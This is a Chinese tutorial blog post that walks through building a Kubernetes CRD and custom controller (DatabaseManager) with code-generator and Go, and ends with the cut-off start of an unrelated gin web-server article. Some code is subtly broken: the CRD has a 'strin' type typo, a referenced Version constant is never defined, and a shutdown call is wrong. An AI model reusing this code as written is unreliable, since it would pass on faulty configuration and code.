因为是演示怎么开发Controller,所以功能不会复杂,主要的功能是:

  • 创建数据库实例
  • 删除数据库实例
  • 更新数据库实例

​

开发环境说明

本次实验环境如下:

软件 版本
kubernetes v1.22.3
go 1.17.3
操作系统 CentOS 7.6

创建CRD

CRD是基础,Controller主要是为CRD服务的,所以我们要先定义好CRD资源,便于开发。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
yaml复制代码apiVersion: apiextensions.k8s.io/v1
kind: CustomResourceDefinition
metadata:
name: databasemanagers.coolops.cn
spec:
group: coolops.cn
versions:
- name: v1alpha1
served: true
storage: true
schema:
openAPIV3Schema:
type: object
properties:
spec:
type: object
properties:
deploymentName:
type: strin
replicas:
type: integer
minimum: 1
maximum: 10
dbtype:
type: string
status:
type: object
properties:
availableReplicas:
type: integer
names:
kind: DatabaseManager
plural: databasemanagers
singular: databasemanager
shortNames:
- dm
scope: Namespaced

创建CRD,检验是否能创建成功。

1
2
3
4
bash复制代码# kubectl apply -f crd.yaml 
customresourcedefinition.apiextensions.k8s.io/databasemanagers.coolops.cn created
# kubectl get crd | grep databasemanagers
databasemanagers.coolops.cn 2021-11-22T02:31:29Z

​

自定义一个测试用例,如下:

1
2
3
4
5
6
7
8
yaml复制代码apiVersion: coolops.cn/v1alpha1
kind: DatabaseManager
metadata:
name: example-mysql
spec:
dbtype: "mysql"
deploymentName: "example-mysql"
replicas: 1

创建后进行查看:

1
2
3
4
5
yaml复制代码# kubectl apply -f example-mysql.yaml 
databasemanager.coolops.cn/example-mysql created
# kubectl get dm
NAME AGE
example-mysql 9s

​

不过现在仅仅是创建了一个静态数据,并没有任何实际的应用,下面来编写Controller来管理这个CRD。
​

开发Controller

项目地址:gitee.com/coolops/dat…

自动生成代码

1、创建项目目录database-manager-controller,并进行go mod 初始化
1
2
3
yaml复制代码# mkdir database-manager-controller
# cd database-manager-controller
# go mod init

​

2、创建源码包目录pkg/apis/databasemanager
1
2
yaml复制代码# mkdir pkg/apis/databasemanager -p
# cd pkg/apis/databasemanager

​

3、在pkg/apis/databasemanager目录下创建register.go文件,并写入一下内容
1
2
3
4
5
6
yaml复制代码package databasemanager

// GroupName is the group for database manager
const (
GroupName = "coolops.cn"
)

​

4、在pkg/apis/databasemanager目录下创建v1alpha1目录,进行版本管理
1
2
yaml复制代码# mkdir v1alpha1
# cd v1alpha1

​

5、在v1alpha1目录下创建doc.go文件,并写入以下内容
1
2
3
4
5
go复制代码// +k8s:deepcopy-gen=package
// +groupName=coolops.cn

// Package v1alpha1 is the v1alpha1 version of the API
package v1alpha1

其中// +k8s:deepcopy-gen=package和// +groupName=coolops.cn都是为了自动生成代码而写的配置。
​

6、在v1alpha1目录下创建type.go文件,并写入以下内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
yaml复制代码package v1alpha1

import metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"

// +genclient
// +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object

type DatabaseManager struct {
metav1.TypeMeta `json:",inline"`
metav1.ObjectMeta `json:"metadata,omitempty"`
Spec DatabaseManagerSpec `json:"spec"`
Status DatabaseManagerStatus `json:"status"`
}

// DatabaseManagerSpec 期望状态
type DatabaseManagerSpec struct {
DeploymentName string `json:"deploymentName"`
Replicas *int32 `json:"replicas"`
Dbtype string `json:"dbtype"`
}

// DatabaseManagerStatus 当前状态
type DatabaseManagerStatus struct {
AvailableReplicas int32 `json:"availableReplicas"`
}

// +k8s:deepcopy-gen:interfaces=k8s.io/apimachinery/pkg/runtime.Object

// DatabaseManagerList is a list of DatabaseManagerList resources
type DatabaseManagerList struct {
metav1.TypeMeta `json:",inline"`
metav1.ListMeta `json:"metadata"`

Items []DatabaseManager `json:"items"`
}

type.go主要定义我们的资源类型。
​

7、在v1alpha1目录下创建register.go文件,并写入以下内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
yaml复制代码package v1alpha1

import (
dbcontroller "database-manager-controller/pkg/apis/databasemanager"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/runtime"
"k8s.io/apimachinery/pkg/runtime/schema"
)

// SchemeGroupVersion is group version used to register these objects
var SchemeGroupVersion = schema.GroupVersion{Group: dbcontroller.GroupName, Version: dbcontroller.Version}

// Kind takes an unqualified kind and returns back a Group qualified GroupKind
func Kind(kind string) schema.GroupKind {
return SchemeGroupVersion.WithKind(kind).GroupKind()
}

// Resource takes an unqualified resource and returns a Group qualified GroupResource
func Resource(resource string) schema.GroupResource {
return SchemeGroupVersion.WithResource(resource).GroupResource()
}

var (
// SchemeBuilder initializes a scheme builder
SchemeBuilder = runtime.NewSchemeBuilder(addKnownTypes)
// AddToScheme is a global function that registers this API group & version to a scheme
AddToScheme = SchemeBuilder.AddToScheme
)

// Adds the list of known types to Scheme.
func addKnownTypes(scheme *runtime.Scheme) error {
scheme.AddKnownTypes(SchemeGroupVersion,
&DatabaseManager{},
&DatabaseManagerList{},
)
metav1.AddToGroupVersion(scheme, SchemeGroupVersion)
return nil
}

register.go的作用是通过addKnownTypes方法使得client可以知道DatabaseManager类型的API对象。
​

至此,自动生成代码的准备工作完成了,目前的代码目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
yaml复制代码# tree .
.
├── artifacts
│   └── database-manager
│   ├── crd.yaml
│   └── example-mysql.yaml
├── go.mod
├── go.sum
├── LICENSE
├── pkg
│   └── apis
│   └── databasemanager
│   ├── register.go
│   └── v1alpha1
│   ├── doc.go
│   ├── register.go
│   └── type.go

​

接下里就使用code-generator进行代码自动生成了。
​

8、创建生成代码的脚本

以下代码主要参考sample-controller【3】

​

(1)在项目根目录下,创建hack目录,代码生成的脚本配置在该目录下
1
yaml复制代码# mkdir hack && cd hack
(2)创建tools.go文件,添加 code-generator 依赖
1
2
3
4
5
6
7
yaml复制代码//go:build tools
// +build tools

// This package imports things required by build scripts, to force `go mod` to see them as dependencies
package tools

import _ "k8s.io/code-generator"
(3)创建update-codegen.sh文件,用来生成代码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
yaml复制代码#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail

SCRIPT_ROOT=$(dirname "${BASH_SOURCE[0]}")/..
CODEGEN_PKG=${CODEGEN_PKG:-$(cd "${SCRIPT_ROOT}"; ls -d -1 ./vendor/k8s.io/code-generator 2>/dev/null || echo ../code-generator)}

# generate the code with:
# --output-base because this script should also be able to run inside the vendor dir of
# k8s.io/kubernetes. The output-base is needed for the generators to output into the vendor dir
# instead of the $GOPATH directly. For normal projects this can be dropped.
bash "${CODEGEN_PKG}"/generate-groups.sh "deepcopy,client,informer,lister" \
database-manager-controller/pkg/client database-manager-controller/pkg/apis \
databasemanager:v1alpha1 \
--output-base "$(dirname "${BASH_SOURCE[0]}")/../.." \
--go-header-file "${SCRIPT_ROOT}"/hack/boilerplate.go.txt

# To use your own boilerplate text append:
# --go-header-file "${SCRIPT_ROOT}"/hack/custom-boilerplate.go.txt

其中以下代码段根据实际情况进行修改。

1
2
3
4
5
yaml复制代码bash "${CODEGEN_PKG}"/generate-groups.sh "deepcopy,client,informer,lister" \
database-manager-controller/pkg/client database-manager-controller/pkg/apis \
databasemanager:v1alpha1 \
--output-base "$(dirname "${BASH_SOURCE[0]}")/../.." \
--go-header-file "${SCRIPT_ROOT}"/hack/boilerplate.go.txt

​

(4)创建verify-codegen.sh文件,主要用于校验生成的代码是否为最新的
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
yaml复制代码#!/usr/bin/env bash

set -o errexit
set -o nounset
set -o pipefail

SCRIPT_ROOT=$(dirname "${BASH_SOURCE[0]}")/..

DIFFROOT="${SCRIPT_ROOT}/pkg"
TMP_DIFFROOT="${SCRIPT_ROOT}/_tmp/pkg"
_tmp="${SCRIPT_ROOT}/_tmp"

cleanup() {
rm -rf "${_tmp}"
}
trap "cleanup" EXIT SIGINT

cleanup

mkdir -p "${TMP_DIFFROOT}"
cp -a "${DIFFROOT}"/* "${TMP_DIFFROOT}"

"${SCRIPT_ROOT}/hack/update-codegen.sh"
echo "diffing ${DIFFROOT} against freshly generated codegen"
ret=0
diff -Naupr "${DIFFROOT}" "${TMP_DIFFROOT}" || ret=$?
cp -a "${TMP_DIFFROOT}"/* "${DIFFROOT}"
if [[ $ret -eq 0 ]]
then
echo "${DIFFROOT} up to date."
else
echo "${DIFFROOT} is out of date. Please run hack/update-codegen.sh"
exit 1
fi

​

(5)创建boilerplate.go.txt,主要用于为代码添加开源协议
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
yaml复制代码/*
Copyright The Kubernetes Authors.

Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at

http://www.apache.org/licenses/LICENSE-2.0

Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
(6)配置go vendor依赖目录

从update-codegen.sh脚本可以看到该代码生成脚本是利用vendor目录下的依赖进行的,我们项目本身没有配置,执行以下命令进行创建。

1
yaml复制代码# go mod vendor
(7)在项目根目录下执行脚本生成代码
1
2
3
4
5
6
yaml复制代码# chmod +x hack/update-codegen.sh
# ./hack/update-codegen.sh
Generating deepcopy funcs
Generating clientset for databasemanager:v1alpha1 at database-manager-controller/pkg/client/clientset
Generating listers for databasemanager:v1alpha1 at database-manager-controller/pkg/client/listers
Generating informers for databasemanager:v1alpha1 at database-manager-controller/pkg/client/informers

然后新的目录结构如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
yaml复制代码# tree pkg/
pkg/
├── apis
│   └── databasemanager
│   ├── register.go
│   └── v1alpha1
│   ├── doc.go
│   ├── register.go
│   ├── type.go
│   └── zz_generated.deepcopy.go
└── client
├── clientset
│   └── versioned
│   ├── clientset.go
│   ├── doc.go
│   ├── fake
│   │   ├── clientset_generated.go
│   │   ├── doc.go
│   │   └── register.go
│   ├── scheme
│   │   ├── doc.go
│   │   └── register.go
│   └── typed
│   └── databasemanager
│   └── v1alpha1
│   ├── databasemanager_client.go
│   ├── databasemanager.go
│   ├── doc.go
│   ├── fake
│   │   ├── doc.go
│   │   ├── fake_databasemanager_client.go
│   │   └── fake_databasemanager.go
│   └── generated_expansion.go
├── informers
│   └── externalversions
│   ├── databasemanager
│   │   ├── interface.go
│   │   └── v1alpha1
│   │   ├── databasemanager.go
│   │   └── interface.go
│   ├── factory.go
│   ├── generic.go
│   └── internalinterfaces
│   └── factory_interfaces.go
└── listers
└── databasemanager
└── v1alpha1
├── databasemanager.go
└── expansion_generated.go

​

Controller开发

上面已经完成了自动代码的生成,生成了informer、lister、clientset的代码,下面就开始编写真正的Controller功能了。
​

我们需要实现的功能是:

  • 创建数据库实例
  • 更新数据库实例
  • 删除数据库实例

​

(1)在代码根目录创建controller.go文件,编写如下内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
go复制代码package main

import (
"context"
dbmanagerv1 "database-manager-controller/pkg/apis/databasemanager/v1alpha1"
clientset "database-manager-controller/pkg/client/clientset/versioned"
dbmanagerscheme "database-manager-controller/pkg/client/clientset/versioned/scheme"
informers "database-manager-controller/pkg/client/informers/externalversions/databasemanager/v1alpha1"
listers "database-manager-controller/pkg/client/listers/databasemanager/v1alpha1"
"fmt"
"github.com/golang/glog"
appsv1 "k8s.io/api/apps/v1"
corev1 "k8s.io/api/core/v1"
"k8s.io/apimachinery/pkg/api/errors"
metav1 "k8s.io/apimachinery/pkg/apis/meta/v1"
"k8s.io/apimachinery/pkg/util/runtime"
utilruntime "k8s.io/apimachinery/pkg/util/runtime"
"k8s.io/apimachinery/pkg/util/wait"
appsinformers "k8s.io/client-go/informers/apps/v1"
"k8s.io/client-go/kubernetes"
"k8s.io/client-go/kubernetes/scheme"
typedcorev1 "k8s.io/client-go/kubernetes/typed/core/v1"
appslisters "k8s.io/client-go/listers/apps/v1"
"k8s.io/client-go/tools/cache"
"k8s.io/client-go/tools/record"
"k8s.io/client-go/util/workqueue"
"k8s.io/klog/v2"
"time"
)

const controllerAgentName = "database-manager-controller"

const (
// SuccessSynced 用来表示事件被成功同步
SuccessSynced = "Synced"
// MessageResourceSynced 表示事件被触发时的消息信息
MessageResourceSynced = "database manager synced successfully"
MessageResourceExists = "Resource %q already exists and is not managed by DatabaseManager"
ErrResourceExists = "ErrResourceExists"
)

type Controller struct {
// kubeclientset 是kubernetes的clientset
kubeclientset kubernetes.Interface
// dbmanagerclientset 是自己定义的API Group的clientset
dbmanagerclientset clientset.Interface

// deploymentsLister list deployment 对象
deploymentsLister appslisters.DeploymentLister
// deploymentsSynced 同步deployment对象
deploymentsSynced cache.InformerSynced

// dbmanagerLister list databasemanager 对象
dbmanagerLister listers.DatabaseManagerLister
// dbmanagerSynced 同步DatabaseManager对象
dbmanagerSynced cache.InformerSynced

// workqueue 限速的队列
workqueue workqueue.RateLimitingInterface
// recorder 事件记录器
recorder record.EventRecorder
}

// NewController 初始化Controller
func NewController(kubeclientset kubernetes.Interface, dbmanagerclientset clientset.Interface,
dbmanagerinformer informers.DatabaseManagerInformer, deploymentInformer appsinformers.DeploymentInformer) *Controller {

utilruntime.Must(dbmanagerscheme.AddToScheme(scheme.Scheme))
glog.V(4).Info("Create event broadcaster")
// 创建eventBroadcaster
eventBroadcaster := record.NewBroadcaster()
// 保存events到日志
eventBroadcaster.StartLogging(glog.Infof)
// 上报events到APIServer
eventBroadcaster.StartRecordingToSink(&typedcorev1.EventSinkImpl{Interface: kubeclientset.CoreV1().Events("")})
recorder := eventBroadcaster.NewRecorder(scheme.Scheme, corev1.EventSource{Component: controllerAgentName})

// 初始化Controller
controller := &Controller{
kubeclientset: kubeclientset,
dbmanagerclientset: dbmanagerclientset,
deploymentsLister: deploymentInformer.Lister(),
deploymentsSynced: deploymentInformer.Informer().HasSynced,
dbmanagerLister: dbmanagerinformer.Lister(),
dbmanagerSynced: dbmanagerinformer.Informer().HasSynced,
workqueue: workqueue.NewNamedRateLimitingQueue(workqueue.DefaultControllerRateLimiter(), "DatabaseManagers"),
recorder: recorder,
}

glog.Info("Start up event handlers")

// 注册Event Handler,分别对于添加、更新、删除事件,具体的操作由事件对应的API将其加入队列中
dbmanagerinformer.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{
AddFunc: controller.enqueueDatabaseManager,
UpdateFunc: func(oldObj, newObj interface{}) {
oldDBManager := oldObj.(*dbmanagerv1.DatabaseManager)
newDBManager := newObj.(*dbmanagerv1.DatabaseManager)
if oldDBManager.ResourceVersion == newDBManager.ResourceVersion {
return
}
controller.enqueueDatabaseManager(newObj)
},
DeleteFunc: controller.enqueueDatabaseManagerForDelete,
})

// 注册Deployment Event Handler
deploymentInformer.Informer().AddEventHandler(cache.ResourceEventHandlerFuncs{
AddFunc: controller.handleObject,
UpdateFunc: func(old, new interface{}) {
newDepl := new.(*appsv1.Deployment)
oldDepl := old.(*appsv1.Deployment)
if newDepl.ResourceVersion == oldDepl.ResourceVersion {
// 如果没有改变,就返回
return
}
controller.handleObject(new)
},
DeleteFunc: controller.handleObject,
})

return controller
}

// Run 启动入口
func (c *Controller) Run(threadiness int, stopCh <-chan struct{}) error {
defer utilruntime.HandleCrash()
defer c.workqueue.ShuttingDown()

glog.Info("start controller, cache sync")
// 同步缓存数据
if ok := cache.WaitForCacheSync(stopCh, c.dbmanagerSynced); !ok {
return fmt.Errorf("failed to wait for caches to sync")
}

glog.Info("begin start worker thread")
// 开启work线程
for i := 0; i < threadiness; i++ {
go wait.Until(c.runWorker, time.Second, stopCh)
}

glog.Info("worker thread started!!!!!!")
<-stopCh
glog.Info("worker thread stopped!!!!!!")
return nil
}

// runWorker 是一个死循环,会一直调用processNextWorkItem从workqueue中取出数据
func (c *Controller) runWorker() {
for c.processNextWorkItem() {

}
}

// processNextWorkItem 从workqueue中取出数据进行处理
func (c *Controller) processNextWorkItem() bool {
obj, shutdown := c.workqueue.Get()

if shutdown {
return false
}

// We wrap this block in a func so we can defer c.workqueue.Done.
err := func(obj interface{}) error {
defer c.workqueue.Done(obj)
var key string
var ok bool

if key, ok = obj.(string); !ok {
c.workqueue.Forget(obj)
runtime.HandleError(fmt.Errorf("expected string in workqueue but got %#v", obj))
return nil
}
// 在syncHandler中处理业务
if err := c.syncHandler(key); err != nil {
return fmt.Errorf("error syncing '%s': %s", key, err.Error())
}

c.workqueue.Forget(obj)
glog.Infof("Successfully synced '%s'", key)
return nil
}(obj)

if err != nil {
runtime.HandleError(err)
return true
}

return true
}

// syncHandler 处理业务Handler
func (c *Controller) syncHandler(key string) error {
// 通过split得到namespace和name
namespace, name, err := cache.SplitMetaNamespaceKey(key)
if err != nil {
runtime.HandleError(fmt.Errorf("invalid resource key: %s", key))
return nil
}

// 从缓存中取对象
dbManager, err := c.dbmanagerLister.DatabaseManagers(namespace).Get(name)
if err != nil {
// 如果DatabaseManager对象被删除了,就会走到这里
if errors.IsNotFound(err) {
glog.Infof("DatabaseManager对象被删除,请在这里执行实际的删除业务: %s/%s ...", namespace, name)
return nil
}

runtime.HandleError(fmt.Errorf("failed to list DatabaseManager by: %s/%s", namespace, name))

return err
}

glog.Infof("这里是databasemanager对象的期望状态: %#v ...", dbManager)

// 获取是否有deploymentName
deploymentName := dbManager.Spec.DeploymentName

if deploymentName == "" {
utilruntime.HandleError(fmt.Errorf("%s: deploymentName 不能为空", key))
return nil
}
// 判断deployment是否在集群中存在
deployment, err := c.deploymentsLister.Deployments(dbManager.Namespace).Get(deploymentName)
if errors.IsNotFound(err) {
// 如果没有找到,就创建
deployment, err = c.kubeclientset.AppsV1().Deployments(dbManager.Namespace).Create(
context.TODO(), newDeployment(dbManager), metav1.CreateOptions{})
}

// 如果Create 或者 Get 都出错,则返回
if err != nil {
return err
}

// 如果这个deployment不是由DatabaseManager控制,应该报告这个事件
if !metav1.IsControlledBy(deployment, dbManager) {
msg := fmt.Sprintf(MessageResourceExists, deployment.Name)
c.recorder.Event(dbManager, corev1.EventTypeWarning, ErrResourceExists, msg)
return fmt.Errorf("%s", msg)
}

// 如果replicas和期望的不等,则更新deployment
if dbManager.Spec.Replicas != nil && *dbManager.Spec.Replicas != *deployment.Spec.Replicas {
klog.V(4).Infof("DatabaseManager %s replicas: %d, deployment replicas: %d", name, *dbManager.Spec.Replicas, *deployment.Spec.Replicas)
deployment, err = c.kubeclientset.AppsV1().Deployments(dbManager.Namespace).Update(context.TODO(), newDeployment(dbManager), metav1.UpdateOptions{})
}

if err != nil {
return err
}

// 更新状态
err = c.updateDatabaseManagerStatus(dbManager, deployment)
if err != nil {
return err
}

glog.Infof("实际状态是从业务层面得到的,此处应该去的实际状态,与期望状态做对比,并根据差异做出响应(新增或者删除)")

c.recorder.Event(dbManager, corev1.EventTypeNormal, SuccessSynced, MessageResourceSynced)
return nil
}

// updateDatabaseManagerStatus 更新DatabaseManager状态
func (c *Controller) updateDatabaseManagerStatus(dbmanager *dbmanagerv1.DatabaseManager, deployment *appsv1.Deployment) error {
dbmanagerCopy := dbmanager.DeepCopy()
dbmanagerCopy.Status.AvailableReplicas = deployment.Status.AvailableReplicas
_, err := c.dbmanagerclientset.CoolopsV1alpha1().DatabaseManagers(dbmanager.Namespace).Update(context.TODO(), dbmanagerCopy, metav1.UpdateOptions{})
return err
}

func (c *Controller) handleObject(obj interface{}) {
var object metav1.Object
var ok bool
if object, ok = obj.(metav1.Object); !ok {
tombstone, ok := obj.(cache.DeletedFinalStateUnknown)
if !ok {
utilruntime.HandleError(fmt.Errorf("error decoding object, invalid type"))
return
}
object, ok = tombstone.Obj.(metav1.Object)
if !ok {
utilruntime.HandleError(fmt.Errorf("error decoding object tombstone, invalid type"))
return
}
klog.V(4).Infof("Recovered deleted object '%s' from tombstone", object.GetName())
}
klog.V(4).Infof("Processing object: %s", object.GetName())
if ownerRef := metav1.GetControllerOf(object); ownerRef != nil {
// 检查对象是否和DatabaseManager对象关联,如果不是就退出
if ownerRef.Kind != "DatabaseManager" {
return
}

dbmanage, err := c.dbmanagerLister.DatabaseManagers(object.GetNamespace()).Get(ownerRef.Name)
if err != nil {
klog.V(4).Infof("ignoring orphaned object '%s' of databaseManager '%s'", object.GetSelfLink(), ownerRef.Name)
return
}

c.enqueueDatabaseManager(dbmanage)
return
}
}

func newDeployment(dbmanager *dbmanagerv1.DatabaseManager) *appsv1.Deployment {
var image string
var name string
switch dbmanager.Spec.Dbtype {
case "mysql":
image = "mysql:5.7"
name = "mysql"
case "mariadb":
image = "mariadb:10.7.1"
name = "mariadb"
default:
image = "mysql:5.7"
name = "mysql"
}

labels := map[string]string{
"app": dbmanager.Spec.Dbtype,
}
return &appsv1.Deployment{
ObjectMeta: metav1.ObjectMeta{
Namespace: dbmanager.Namespace,
Name: dbmanager.Name,
OwnerReferences: []metav1.OwnerReference{
*metav1.NewControllerRef(dbmanager, dbmanagerv1.SchemeGroupVersion.WithKind("DatabaseManager")),
},
},
Spec: appsv1.DeploymentSpec{
Replicas: dbmanager.Spec.Replicas,
Selector: &metav1.LabelSelector{MatchLabels: labels},
Template: corev1.PodTemplateSpec{
ObjectMeta: metav1.ObjectMeta{Labels: labels},
Spec: corev1.PodSpec{
Containers: []corev1.Container{
{
Name: name,
Image: image,
},
},
},
},
},
}
}

// 数据先放入缓存,再入队列
func (c *Controller) enqueueDatabaseManager(obj interface{}) {
var key string
var err error
// 将对象放入缓存
if key, err = cache.MetaNamespaceKeyFunc(obj); err != nil {
runtime.HandleError(err)
return
}

// 将key放入队列
c.workqueue.AddRateLimited(key)
}

// 删除操作
func (c *Controller) enqueueDatabaseManagerForDelete(obj interface{}) {
var key string
var err error
// 从缓存中删除指定对象
key, err = cache.DeletionHandlingMetaNamespaceKeyFunc(obj)
if err != nil {
runtime.HandleError(err)
return
}
//再将key放入队列
c.workqueue.AddRateLimited(key)
}

其主要逻辑和文章开头介绍的Controller实现逻辑一样,其中关键点在于:

  • 在NewController方法中,定义了DatabaseManager和Deployment对象的Event Handler,除了同步缓存外,还将对应的Key放入queue中。
  • 实际处理业务的方法是syncHandler,可以根据实际请求来编写代码以达到业务需求。

​

2、在项目根目录下创建main.go,编写入口函数
(1)编写处理系统信号量的Handler

这部分直接使用的demo中的代码【3】

(2)编写入口main函数
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
yaml复制代码package main

import (
"flag"
"time"

kubeinformers "k8s.io/client-go/informers"
"k8s.io/client-go/kubernetes"
"k8s.io/client-go/tools/clientcmd"
"k8s.io/klog/v2"

clientset "database-manager-controller/pkg/client/clientset/versioned"
informers "database-manager-controller/pkg/client/informers/externalversions"
"database-manager-controller/pkg/signals"
)

var (
masterURL string
kubeconfig string
)

func main() {
// klog.InitFlags(nil)
flag.Parse()

// 设置处理系统信号的Channel
stopCh := signals.SetupSignalHandler()

// 处理入参
cfg, err := clientcmd.BuildConfigFromFlags(masterURL, kubeconfig)
if err != nil {
klog.Fatalf("Error building kubeconfig: %s", err.Error())
}

// 初始化kubeClient
kubeClient, err := kubernetes.NewForConfig(cfg)
if err != nil {
klog.Fatalf("Error building kubernetes clientset: %s", err.Error())
}

// 初始化dbmanagerClient
dbmanagerClient, err := clientset.NewForConfig(cfg)
if err != nil {
klog.Fatalf("Error building example clientset: %s", err.Error())
}

kubeInformerFactory := kubeinformers.NewSharedInformerFactory(kubeClient, time.Second*30)
dbmanagerInformerFactory := informers.NewSharedInformerFactory(dbmanagerClient, time.Second*30)

// 初始化controller
controller := NewController(kubeClient, dbmanagerClient,
dbmanagerInformerFactory.Coolops().V1alpha1().DatabaseManagers(), kubeInformerFactory.Apps().V1().Deployments())

// notice that there is no need to run Start methods in a separate goroutine. (i.e. go kubeInformerFactory.Start(stopCh)
// Start method is non-blocking and runs all registered informers in a dedicated goroutine.
kubeInformerFactory.Start(stopCh)
dbmanagerInformerFactory.Start(stopCh)

if err = controller.Run(2, stopCh); err != nil {
klog.Fatalf("Error running controller: %s", err.Error())
}
}

func init() {
flag.StringVar(&kubeconfig, "kubeconfig", "", "Path to a kubeconfig. Only required if out-of-cluster.")
flag.StringVar(&masterURL, "master", "", "The address of the Kubernetes API server. Overrides any value in kubeconfig. Only required if out-of-cluster.")
}

​

测试Controller

1、在项目目录下添加一个Makefile
1
2
3
yaml复制代码build:
echo "build database manager controller"
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build .

​

2、执行make build进行编译
1
2
3
4
yaml复制代码# make build
echo "build database manager controller"
build database manager controller
CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build .

然后会输出database-manager-controller一个二进制文件。
​

3、运行controller
1
2
3
4
5
6
yaml复制代码# chmod +x database-manager-controller
# ./database-manager-controller -kubeconfig=$HOME/.kube/config -alsologtostderr=true
I1123 09:52:41.595726 29173 controller.go:81] Start up event handlers
I1123 09:52:41.597448 29173 controller.go:120] start controller, cache sync
I1123 09:52:41.699716 29173 controller.go:125] begin start worker thread
I1123 09:52:41.699737 29173 controller.go:130] worker thread started!!!!!!

​

4、创建一个CRD测试用例,观察日志以及是否创建deployment
(1)测试样例如下
1
2
3
4
5
6
7
8
9
yaml复制代码# cat example-mysql.yaml 
apiVersion: coolops.cn/v1alpha1
kind: DatabaseManager
metadata:
name: example-mysql
spec:
dbtype: "mysql"
deploymentName: "mysql"
replicas: 1
(2)执行以下命令进行创建,观察日志
1
2
yaml复制代码# kubectl apply -f example-mysql.yaml 
databasemanager.coolops.cn/example-mysql created

可以看到对于的deployment和pod已经创建,不过由于Deployment的配置没有配置完全,mysql没有正常启动。
image.png
​

我们其实是可以看到Controller获取到了事件。
image.png
如果我们删除对象,也可以从日志里正常看到响应。
image.png

总结

上面就是自定义Controller的整个开发过程,相对来说还是比较简单,大部分东西社区都做好了,我们只需要套模子,然后实现自己的逻辑就行。
​

整个过程主要是参考sample-controller【3】 ,现在简单整理如下:

  • 确定好目的,然后创建CRD,定义需要的对象
  • 按规定编写代码,定义好CRD所需要的type,然后使用code-generator进行代码自动生成,生成需要的informer、lister、clientset。
  • 编写Controller,实现具体的业务逻辑
  • 编写完成后就是验证,看看是否符合预期,根据具体情况再做进一步的调整

引用

【1】 github.com/kubernetes/…
【2】 cloud.redhat.com/blog/kubern…
【3】 github.com/kubernetes/…
【4】 cloud.tencent.com/developer/a…
【5】 www.bookstack.cn/read/source…

本文转载自: 掘金

开发者博客 – 和开发相关的 这里全都有

Go语言 基于gin定义一个简单的web server 开发

发表于 2021-11-24

路由

这个比较简单,就是注册路由的作用了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
go复制代码package route

import (
"go_web_app/logger"
"net/http"

"github.com/gin-gonic/gin"
)

func Setup() *gin.Engine {
r := gin.New()
// 最重要的就是这个日志库
r.Use(logger.GinLogger(), logger.GinRecovery(true))
r.GET("/", func(context *gin.Context) {
context.String(http.StatusOK, "ok")
})
return r
}

启动流程

这个之前也介绍过,就是一个稍微复杂一点的优雅重启方案,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
go复制代码// 启动服务 (优雅关机)

srv := &http.Server{
Addr: fmt.Sprintf(":%d", viper.GetInt("app.port")),
Handler: r,
}

go func() {
// 开启一个goroutine启动服务
if err := srv.ListenAndServe(); err != nil && err != http.ErrServerClosed {
zap.L().Error("listen: %s\n", zap.Error(err))
}
}()

// 等待中断信号来优雅地关闭服务器,为关闭服务器操作设置一个5秒的超时
